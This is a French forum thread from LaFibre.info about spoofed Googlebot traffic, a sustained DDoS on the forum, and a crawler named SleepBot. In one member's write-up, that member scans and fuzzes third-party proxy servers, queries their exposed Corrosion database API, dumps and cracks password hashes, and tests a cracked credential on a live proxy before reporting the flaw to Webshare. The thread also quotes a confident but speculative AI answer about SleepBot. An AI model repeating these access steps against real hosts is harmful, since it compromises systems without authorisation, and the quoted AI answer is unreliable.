La Fibre
Fonctionnement du forum => A lire avant de commencer... => 
Évolution de LaFibre.info, bugs et critiques => Discussion démarrée par: vivien le 06 juin 2026 à 15:12:58
-
Des petits malins font des requêtes sur LaFibre.info usurpant le robot d'indexation de Google, Googlebot !
Vous pensez que les requêtes ci-dessous viennent de Google pour enrichir son moteur de recherche ?
Et non, c'est de l'usurpation. Les IP sources montrent clairement que ce n'est pas Google qui est derrière ces requêtes.
(Cliquer sur le tableau pour ouvrir un fichier PDF plus complet)
(https://lafibre.info/images/stats/202606_lafibre_usurpation_google_bot.webp) (https://lafibre.info/images/stats/202606_lafibre_usurpation_google_bot.pdf)
-
Est-ce que cela pourrait être aussi des robots d'agents AI parcourant le web pour récupérer des données servant à entrainer les modèles d'IA ?
La question de savoir avec quelles données sont entrainés les modèles IA a peu de réponses précises... Il y a une plainte actuellement déposée par Le New-York Times contre Open AI pour pillage de ses articles...
D'ailleurs Google a lui-même Gemini.
On peut penser aussi que les robots IA absorbent plein de livres en PDF trouvés sur Internet, qui ne sont pas libres de droits...
-
J'ai des requêtes clairement identifiées comme étant pour l'IA dans le user-agent, ils ne se cachent pas (et je ne bloque pas).
J'ai des requêtes en masse qui proviennent d'une poignée de serveurs et là aussi, c'est peut-être de l'IA. Certains ne sont pas très évolués et vont charger à chaque fois les images de la page qui peuvent être pourtant identiques.
Les requêtes que j'ai mises dans mon PDF, c'est une grande variété de serveurs réseaux différents. Pour moi l'objectif, c'est de faire du déni de service. J'ai passé en revue une partie des AS de ces IP. Ce sont des AS connu pour faire beaucoup beaucoup de requêtes sur ce forum et qui sont pour la plupart bloquées soit de manière temporaire ou manière définitive (dans tous les cas, la première requête passe).
Certains de ces hébergeurs ont pleins de plages /24 (seulement 256 IPv4). Les IP avant et après sont à d'autres acteurs (c'est galère à bloquer, car il ne faut bloquer plus que le /24 pour éviter le surblocage et cela fait plein de règles).
Pour donner une idée du volume de requêtes, j'ai redémarré le serveur, il y a 48h. Depuis, il y a eu 10 millions de requêtes, soit 5 millions par jour (pas forcément avec des user-gagent de Google, il faut varier les plaisirs).
Les requêtes en question sont toutes en IPv4 et viennent hors de France. Beaucoup viennent d'Asie, mais on a aussi des acteurs UK et d'Europe de l'Est (quand je regarde le pays de l'AS qui n'est pas forcément le pays d'où sont émises les requêtes).
Ne pas hésiter à me signaler si il y a surblocage, mais maintenant avec l'expérience je fais attention. Terminé l'époque ou je bloquait l'intégralité d'un /8 qui envoyait beaucoup de DDOS.
-
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion (https://superfly.github.io/corrosion/) en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.
Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).
Par exemple :
$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
"columns": [
"proxy_user_id",
"username",
"password",
"allocation_method",
"max_concurrent_requests",
"max_concurrent_requests_pag",
"max_speed_kbs",
"max_speed_kbs_pag",
"max_rps",
"max_rps_pag",
"request_priority",
"request_timeout",
"request_idle_timeout",
"request_connect_timeout",
"default_country_codes",
"dynamic_settings",
"proxy_allocation_group_id",
"sync_hash",
"default_state",
"default_city",
"default_postalcode"
]
}
{
"eoq": {
"time": 4.07E-7
}
}
Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.
Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.
-
Héhé dans ta liste j'ai trouvé 2 IP (2 seulement, j'ai tout testé) qui ont effectivement des accès définis... Les mots de passes sont hashés (sha1 salés).
Sur chacune de ces 2 IPs, il y a 2970 utilisateurs définis, et ce sont apparement les mêmes utilisateurs (ça doit être la même base sqlite sur deux noeuds Corrosion différents j'imagine). La plupart ont un nom qui est fait de 8 caractères minuscules aléatoires (par exemple "bipxjwyb"), mais d'autres ont ces 8 caractères suivis de "residential" (e.g "ilgogpddresidential").
-
Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.
J'ai d'autres IP, mais pas plus récentes. Je ne suis pas sur que les IP changent.
Si tu regardes dans ces deux fichiers il y a de nombreux /24 ou toutes les IP sont utilisées pour une attaque (ce sont des cases de couleur rouge pour être facilement repérable). Je ne serais pas étonné que tu retrouves des choses en commun avec les IP que tu as analysées, le nom des hébergeurs sont les mêmes.
(cliquez sur les miniatures ci-dessous - les documents sont au format PDF)
(https://lafibre.info/images/stats/202604_ddos_lafibre_30_avril_2026.webp) (https://lafibre.info/images/stats/202604_ddos_lafibre_30_avril_2026.pdf) (https://lafibre.info/images/stats/202604_ddos_lafibre_18_mai_au_29_mai_2026.webp) (https://lafibre.info/images/stats/202604_ddos_lafibre_18_mai_au_29_mai_2026.pdf)
Il y a aussi des IP de fournisseur d'accès à internet grand public impliqué en Asie ou en Amérique du Nord, mais avec un taux beaucoup plus faible (5 à 20 IP par /24). Probablement une application compromise ou un ordinateur infecté.
-
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion (https://superfly.github.io/corrosion/) en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.
Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).
Par exemple :
$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
"columns": [
"proxy_user_id",
"username",
"password",
"allocation_method",
"max_concurrent_requests",
"max_concurrent_requests_pag",
"max_speed_kbs",
"max_speed_kbs_pag",
"max_rps",
"max_rps_pag",
"request_priority",
"request_timeout",
"request_idle_timeout",
"request_connect_timeout",
"default_country_codes",
"dynamic_settings",
"proxy_allocation_group_id",
"sync_hash",
"default_state",
"default_city",
"default_postalcode"
]
}
{
"eoq": {
"time": 4.07E-7
}
}
Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.
Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.
Intéressant, je ne connaissait pas personnellement ce proxy corrosion. Et merci pour la petite ligne de commande, j'ai vérifié sur quelques IP, effectivement, cela retourne ce que tu indiques.
Je suppose que tu as fait une liste des IP du tableau et une boucle sur ces IP pour récupérer les deux IP qui ont des accès définis.
J'ai trouvé ce petit site (d'origine japonaise apparemment ?) qui explique l'intérêt de configurer des crawlers pour utiliser des proxies pour cacher la véritable IP du crawler et éviter de se faire bloquer. Mais si on bloque l'IP du proxy, cela revient au même ? Sauf que le serveur peut probablement changer de proxy...
-
Voilà un site, chinois semble-t-il, qui propose son réseau de proxies en test gratuit !
How to use a crawler proxy?
...
The second method involves using proxy IP addresses and other means to bypass anti-crawling mechanisms and continue high-frequency crawling. However, this requires a large number of stable proxy IP addresses.
Enterprise-grade data collection dedicated proxy pool, free testing:...
https://www.zhihu.com/en/answer/2748010067
Je pense donc qu'un test pour ce cas particulier serait de tester si ces IP ont le port 30001 ouvert, et alors de les bloquer. Elles font probablement partie d'un pool de proxies pour crawlers.
-
Intéressant, je ne connaissait pas personnellement ce proxy corrosion.
Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.
Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.
J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17
Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.
Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close
Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.
Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT
En fuzzant le port 30001 avec feroxbuster (https://github.com/epi052/feroxbuster) et la wordlist apiroutes d'Assetnotes (https://wordlists-cdn.assetnote.io/data/automated/):
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001
On trouve deux choses intéressantes :
- /v1/health qui retourne quelques stats
- /v1/subscriptions/pricing, /v1/subscriptions/plans et quelques autres qui retournent tous une erreur "400 Bad Request"
On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT
Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2
En faisant une recherche sur ce message d'erreur (https://kagi.com/search?q=%22UUID+parsing+failed%3A+invalid+group+count%22&r=no_region&sh=Rwr_FaSiy3Mg2nIrU0vHlA), on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.
En fuzzant à nouveau sous /v1, cette fois avec ffuf (https://github.com/ffuf/ffuf) (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc all
On trouve "/v1/updates" en plus de "/v1/subscriptions". En cherchant ces deux termes (https://kagi.com/search?q=%22%2Fv1%2Fsubscriptions%22+%22%2Fv1%2Fupdates%22&r=no_region&sh=DhP3VeTQrossNBq05Nh3fQ), on tombe sur Corrosion (https://superfly.github.io/corrosion/), un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.
A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null
Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.
La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'
Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.
A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txt
On en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.com
Dans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...
Ce qui voudrait dire :
- Soit que que tous les proxies sont sur le même réseau privé
- Soit que chaque proxy fait aussi tourner un VPN pour communiquer avec les autres
- Soit ?
-
Hmm quand on utilise le proxy 82.24.249.30, on sort avec une IP différente à chaque fois, localisée n'importe où dans le monde (Maroc, Iraq, Espagne, Pérou...), et ces IP n'ont rien sur le port 30001... On dirait donc qu'il y a au moins une couche en plus.
-
ce ne serait pas un genre de "proxy rotator" comme : https://proxyrotator.com/ ?
-
La bonne blague : après toutes ces recherches, je viens de réaliser que cette mystérieuse infrastructure de proxies, c'est... Webshare (https://www.webshare.io/).
Comment j'ai découvert ça ? Quand on essaie d'accéder via le proxy à une cible interdite (comme 127.0.0.1, ou la plupart des ports "non-standards"), il retourne une erreur 403 avec de beaux headers "X-Webshare-Error" et "X-Webshare-Reason".
Et effectivement, après m'être crée un compte de test, mes 10 proxies gratuits exposent bien ce même service Corrosion sur le port 30001.
Tout ça pour ça ;D
-
J'ai contacté hier soir webshare.io au sujet de l'API Corrosion ouvertement accessible sur leurs proxies... Ce matin il m'ont répondu que le problème était corrigé, et effectivement le port 30001 n'est plus exposé.
C'est quelque chose que je n'ai pas testé car clairement illégal sans autorisation, mais je soupçonne qu'il était possible de se créer des comptes sur leurs proxies sans être client, via cette API.
A part ça et pour revenir à la question initiale, aucune idée de qui est à l'origine de ces requêtes "Googlebot". Seul Webshare le sait.
-
Il faudra voir si Vivien enregistre moins de connexions sur le forum. Mais en tout cas, merci pour le retour. C'était un sujet très instructif techniquement, et aussi pour les méthodes des web crawlers pour échapper aux bannissements.
-
Je vois qu'il y a 6200 invités en ce moment sur le forum, c'est beaucoup trop pour être réaliste.
On a en ce moment 96% du trafic qui est en IPv4, pourtant, vous verriez le nombre de plages IPv4 bannies, c'est monstrueux !
J'ai regardé les log et j'ai pris quelques IP suspectes qui viennent de faire du trafic il y a quelques secondes :
102.0.138.192
102.135.174.85
102.176.204.109
102.210.173.190
102.223.59.176
102.253.103.17
102.89.82.57
103.109.96.236
103.118.77.127
103.157.129.32
103.166.59.208
103.167.229.213
103.167.229.254
103.190.171.163
103.31.152.244
105.105.20.26
105.107.161.198
105.158.111.17
105.235.137.223
109.236.42.202
112.210.228.155
115.164.36.212
125.235.239.105
138.255.177.39
138.36.198.6
143.105.137.133
147.78.76.155
148.227.123.253
149.102.94.187
149.255.208.13
154.208.49.54
154.239.79.226
154.80.122.201
154.81.235.113
156.217.196.101
159.146.79.91
160.179.226.239
165.73.183.103
171.79.56.64
176.222.63.20
181.15.209.43
181.60.24.186
182.62.63.168
185.147.100.65
185.56.194.238
185.57.236.118
185.61.48.63
186.53.221.159
186.54.111.39
187.171.193.137
187.189.190.18
187.200.249.159
187.252.248.177
188.113.209.234
188.113.236.193
188.191.21.68
188.86.36.136
190.100.199.157
190.107.123.79
190.244.4.166
190.34.62.176
191.108.174.52
194.31.93.236
196.74.149.1
197.113.92.135
197.139.52.3
197.214.238.11
200.152.6.172
200.185.234.226
200.189.34.176
200.87.153.245
200.9.24.238
200.94.38.14
201.108.68.102
201.141.18.115
201.242.202.178
203.9.211.21
212.45.81.58
213.211.85.181
216.234.205.150
223.187.47.104
2.50.99.191
31.8.114.55
34.96.46.27
37.151.64.87
38.121.214.151
38.41.48.14
41.101.151.73
41.1.133.253
41.158.103.175
41.248.45.44
41.39.198.128
41.83.171.119
41.92.97.176
45.172.68.203
45.234.215.195
45.65.144.52
49.244.110.226
5.155.103.86
5.178.15.71
5.25.143.176
59.153.17.168
66.181.188.54
67.209.138.106
68.194.84.41
77.34.252.136
77.75.147.139
78.111.40.198
82.49.80.50
84.44.124.245
90.188.96.152
91.243.255.49
94.249.101.248
Il faudra que j'analyse ça (il est possible qu'il y ait quelques IP légitimes), mais pour moi, il y a toujours de ce que j'appellerai du DDOS. Je n'ai pas regardé, mais je doute que ces IPv4 soient localisées en France.
Depuis minuit hier (39 heures), j'ai 407 000 IPv4 qui ont été bannies automatiquement temporairement (je ne tiens pas compte des requêtes provenant des millions d'IPv4 déjà bloquées lors des rounds précédents). Je ferais une analyse manuelle de ces IP pour décider ou pas de bloquer de nouvelles plages.
-
Je crois que sur ces dernières IP on est vraiment sur des appareils compromis. En scannant les ports on voit un peu de tout, des routeurs Microtik, des OLT au Bangladesh, un serveur d'impression...
-
C'est quoi l'intérêt pour eux d'usurper l'identité de GoogleBot ? Ça leur apporte quoi? Parce qu'en terme de filtration, c'est peut-être bien une des dernières choses contrôlées, l'IP, son origine et son comportement sur le site seront contrôlés avant et le blocage commencera par là. Afficher GoogleBot ne les protègera pas contre des actions ou un blocage et ne leur donnera pas un blanc-seing... Alors j'aimerais comprendre l'intérêt...
-
Je pense au contraire qu'en terme de filtration, c'est une des premières choses contrôlées, parce que c'est simple, direct, et que ça s'applique dès la première requête. Évidemment c'est aussi très facile à contourner, mais ça permet au moins de bloquer les bots "légitimes".
Cela dit il faudrait que Vivien confirme, mais je ne pense pas que ces dernières IP utilisent le UA Googlebot. Je pense qu'on a deux choses bien distinctes et probablement sans lien : d'un côté le faux Googlebot qui passe par les proxies de webshare.io (et je supposent qu'ils achètent l'accès à ces proxies de manière totalement légale), et de l'autre un ou plusieurs botnets basés sur des devices compromis.
-
L'usurpation des robots de Google, cela représente un tout petit volume (moins de 1%).
Je l'ai mentionné, car je ne savais pas que des attaquants utilisent cette astuce.
Les dernières IP, j'avais filtré de manière à exclure les bots. Ce sont des clients qui se présentent comme du Chrome.
On parle d'un volume très important de requêtes et d'IP différentes. Sur la journée d'hier, j'ai eu 300 000 nouvelles IPv4 (et quand je vois les stats d'IPTables, ils continuent de taper sur des IP déjà bloquées lors des précédents jours).
J'ai déjà 920 règles IPtables pour bloquer définitivement certaines plages IPv4, je vais devoir en rajouter.
En moyenne depuis 4 jours, je suis à 9698 requêtes bloquées par minutes de moyenne (581 900 requêtes par heure). C'est sans compter les requêtes qui passent.
L'attaque fonctionne sans discontinuer depuis le 30 mars.
Ces attaques sont-elles de retour ? Je vois plus de 24 000 visiteurs sur la page d’accueil, et le serveur semble souffrir :(
edit: record battu avec 30 856 invités cet après-midi ;D
Je trouve complétement disproportionné le travail nécessaire pour l'attaque au vu du résultat quelques heures ou le forum a été lent sur plusieurs mois d'attaque.
Par contre je serais sur un hébergement mutualisé, cela serait impossible à gérer pour l'hébergeur.
-
Je pense au contraire qu'en terme de filtration, c'est une des premières choses contrôlées, parce que c'est simple, direct, et que ça s'applique dès la première requête. Évidemment c'est aussi très facile à contourner, mais ça permet au moins de bloquer les bots "légitimes".
Ben justement, facile à contourner, donc ça sera contourné/bloqué rapidement. D'autant plus que l'User-Agent est régulièrement l'objet de tractations sur internet, entre le spoofing pour se faire passer pour tel ou tel navigateur parce que le site l'exige, ou pour éviter le fingerprinting, et les régies publicitaires qui s'en servent ou pas, ça devient une information peu fiable et donc j'imagine sur laquelle reposent peu de tests importants de type filtrage/blocage, le risque d'effets de bord important est trop élevé.
-
L'attaque fonctionne sans discontinuer depuis le 30 mars.
Je trouve complétement disproportionné le travail nécessaire pour l'attaque au vu du résultat quelques heures ou le forum a été lent sur plusieurs mois d'attaque.
Et c'est fou (mais je ne dois pas me rendre compte des volumes vs. volume global traité) que sur les routes entre le serveur et eux, il n'y ait pas des opérateurs, des routeurs et/ou des switch qui finissent par restreindre la liaison... C'est fou de lire ça, 2 mois non stop, ça devrait à un moment tiquer. Bon, après c'est sûrement très bien distribué entre plein d'IP/d'ordinateurs différents, mais quand même...
-
Ben justement, facile à contourner, donc ça sera contourné/bloqué rapidement. D'autant plus que l'User-Agent est régulièrement l'objet de tractations sur internet, entre le spoofing pour se faire passer pour tel ou tel navigateur parce que le site l'exige, ou pour éviter le fingerprinting, et les régies publicitaires qui s'en servent ou pas, ça devient une information peu fiable et donc j'imagine sur laquelle reposent peu de tests importants de type filtrage/blocage, le risque d'effets de bord important est trop élevé.
Ce que je dis, c'est que si tu veux éviter par exemple le scraping par les crawlers officiels des boites d'IA, ça fait le job. Ce n'est pas une protection contre les acteurs malveillants. C'en est une contre les acteurs légitimes (et oui, je sais que les boites d'IA font aussi en douce du scraping sauvage qui ne suit aucune règle).
Et tu as aussi des sites qui ont du contenu qui nécessite un compte pour y accéder, mais qui veulent tout de même que ce contenu soit indexé par les moteurs de recherche. Avoir le bon UA peut-être une condition nécessaire (mais pas forcément suffisante) pour y accéder sans compte.
-
Ce que je dis, c'est que si tu veux éviter par exemple le scraping par les crawlers officiels des boites d'IA, ça fait le job. Ce n'est pas une protection contre les acteurs malveillants. C'en est une contre les acteurs légitimes (et oui, je sais que les boites d'IA font aussi en douce du scraping sauvage qui ne suit aucune règle).
Et tu as aussi des sites qui ont du contenu qui nécessite un compte pour y accéder, mais qui veulent tout de même que ce contenu soit indexé par les moteurs de recherche. Avoir le bon UA peut-être une condition nécessaire (mais pas forcément suffisante) pour y accéder sans compte.
Oui enfin c'est surtout le rôle de robots.txt, et si les robots (IA ou non) n'ont pas envie de respecter ça (ou autre), ils passeront outre, donc pour moi, je ne vois vraiment aucun intérêt d'usurper l'user agant de Google Bot... Ça n'apporte rien, ça n'ouvre pas plus de portes, ça n'empêche pas de finir bloqué...
-
Historiquement, certains gros sites d'actualité envoient les articles en entier, sans paywall, aux requêtes du Googlebot en vérifiant uniquement le user-agent. Par exemple : https://www.peteroome.com/2015/04/05/botty-the-web-through-the-eyes-of-a-google-bot-copy/
Ça ne fonctionne plus trop aujourd'hui hélas.
-
Il me semble que Google interdit de présenter une vue différente d'un site à ses robots.
-
Historiquement, certains gros sites d'actualité envoient les articles en entier, sans paywall, aux requêtes du Googlebot en vérifiant uniquement le user-agent. Par exemple : https://www.peteroome.com/2015/04/05/botty-the-web-through-the-eyes-of-a-google-bot-copy/
Ça ne fonctionne plus trop aujourd'hui hélas.
Ah j'apprends qqch, merci, et je comprends enfin certains résultats que j'ai sur Google, qui me sors des liens mais je ne retrouve pas le texte de ma recherche dans ce qui m'est donné de voir, souvent parce qu'il y a un paywall (mais pas toujours)... Et je me suis dit que justement Google devait pouvoir indexer l'article en entier dans certain cas, histoire de faire de la pub pour le site ("vous voulez lire ? Votre recherche se trouve peut-être dans la suite... Abonnez-vous!"), ou bien que l'article est devenu payant par la suite ou a été modifié...
-
Depuis plus d'un mois, j'ai un volume très important de requêtes de robots " https://sleepbot.com/ "
Toutes les IP sont sur l'AS AS396982 Google LLC.
Le volume est stable dans la durée, on est à un peu plus de 700 000 requêtes par jour, c'est vraiment astronomique.
J'ai demandé à Gemini voici sa réponse :
Le robot d'indexation SleepBot/1.0 (qui pointe vers http://sleepbot.com/) fait partie de la catégorie des crawlers indépendants ou "historiques", souvent liés à de petits projets, à de la recherche universitaire ou à des outils d'analyse d'audience très ciblés.
Contrairement aux géants comme Googlebot ou GPTBot d'OpenAI, ses objectifs sont très restreints. Les données qu'il récolte servent principalement à trois cas d'usage :
1. La cartographie et l'analyse de liens (Web Graph)
Les robots de ce type parcourent le web de lien en lien pour analyser la structure globale du réseau. Les données récoltées servent à :
- Mesurer la popularité de certains sites en calculant le nombre de liens qui pointent vers eux (backlinks).
- Détecter les sites obsolètes, les liens morts (erreurs 404) ou les changements de redirections.
2. Des statistiques d'infrastructure (Recherche non commerciale)
L'identifiant montre qu'il s'agit d'un robot ancien ou géré de manière artisanale. Souvent, ces crawls collectent uniquement les en-têtes HTTP et le code source de base pour compiler des statistiques globales :
- Quelles versions de serveurs web (Apache, Nginx, IIS) sont les plus utilisées ?
- Quelle est la proportion de sites utilisant HTTPS plutôt que HTTP ?
- Quelle est la vitesse moyenne de réponse des serveurs dans le monde ?
3. La détection de flux de niche (Lien avec le site d'origine)
Comme le domaine historique sleepbot.com était une plateforme dédiée à la musique ambiante et expérimentale, les premières versions de ce bot servaient à scanner le web à la recherche de flux audio, de webradios indépendantes ou de fichiers musicaux libres de droits (Creative Commons) afin de les répertorier ou d'alimenter leur propre base de données de diffusion.
Faut-il s'en inquiéter ou le bloquer ?
Non, ce n'est pas un robot malveillant. Il ne cherche pas à voler des données personnelles ou à pirater des serveurs.
Cependant, comme il s'agit d'un crawler de niche qui n'apporte aucun trafic ni aucun bénéfice SEO à un site moderne, de nombreux administrateurs système choisissent de le bloquer simplement pour économiser de la bande passante et des ressources serveur. Si vous observez ses passages dans vos logs et qu'il est trop insistant, vous pouvez lui interdire l'accès dans votre fichier robots.txt.
Je n'ai donc pas bloqué ces requêtes, mais cela fait maintenant plus d'un mois que le forum est soumis à ses demandes incessantes et j'envisage donc de le bloquer, mais je veux bien votre avis.
Exemple de requetes réalisées à l'instant :
35.226.74.100 38034 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /orange-les-news/nouvelle-mise-a-jour-firmware-livebox5/60?PHPSESSID=b2k03jnp2i4nocne0uo75o3bj5 HTTP/1.1" 200 9183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /energie/vieux-coffrets-de-branchement-enedis/60?PHPSESSID=p3vipplqhl5hk4hvo8ab3i6c6k HTTP/1.1" 200 10365 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /freemobile-incidents?PHPSESSID=3f7v4lapnm85guhjjs7g488v0r HTTP/1.1" 200 10754 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /freemobile-incidents?PHPSESSID=csnodt4n7l97ukrulc00glbrv1 HTTP/1.1" 200 10761 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /sfr-les-news/nouveau-decodeur-stb7/60?PHPSESSID=7213vhdmp3o6foej2fo4nijros HTTP/1.1" 200 11405 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.37.147 59472 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /tarn/reseau-dinitiative-publique-du-tarn-sfr/60?PHPSESSID=10irhc4cq658jcu63be7fljafq HTTP/1.1" 200 12795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.58.253.108 42270 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-les-news/controler-son-reseau-livebox-5-ou-6/36?PHPSESSID=cusnjio9hd5av9oud6as02repi HTTP/1.1" 200 13158 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=q0dsab17thpttho4cjng8musmj HTTP/1.1" 200 14076 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /installation-free/passer-dorange-a-free?PHPSESSID=4qn219l5hu3u4ik0brm6oljrd8 HTTP/1.1" 200 10170 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.72.112.88 35700 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /1gb-free/200?PHPSESSID=s734ril13ncu840sgd58fv4p3i HTTP/1.1" 200 13851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.94.20 52240 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /1gb-free/debit-up-bride-depuis-une-semaine/36?PHPSESSID=984jsi0bcbna9mris0743ck0qk HTTP/1.1" 200 15293 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /free-mobile/dim-freemobile-laon/36?PHPSESSID=93tpj5cafcss6di4fnqe5hvso1 HTTP/1.1" 200 8736 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
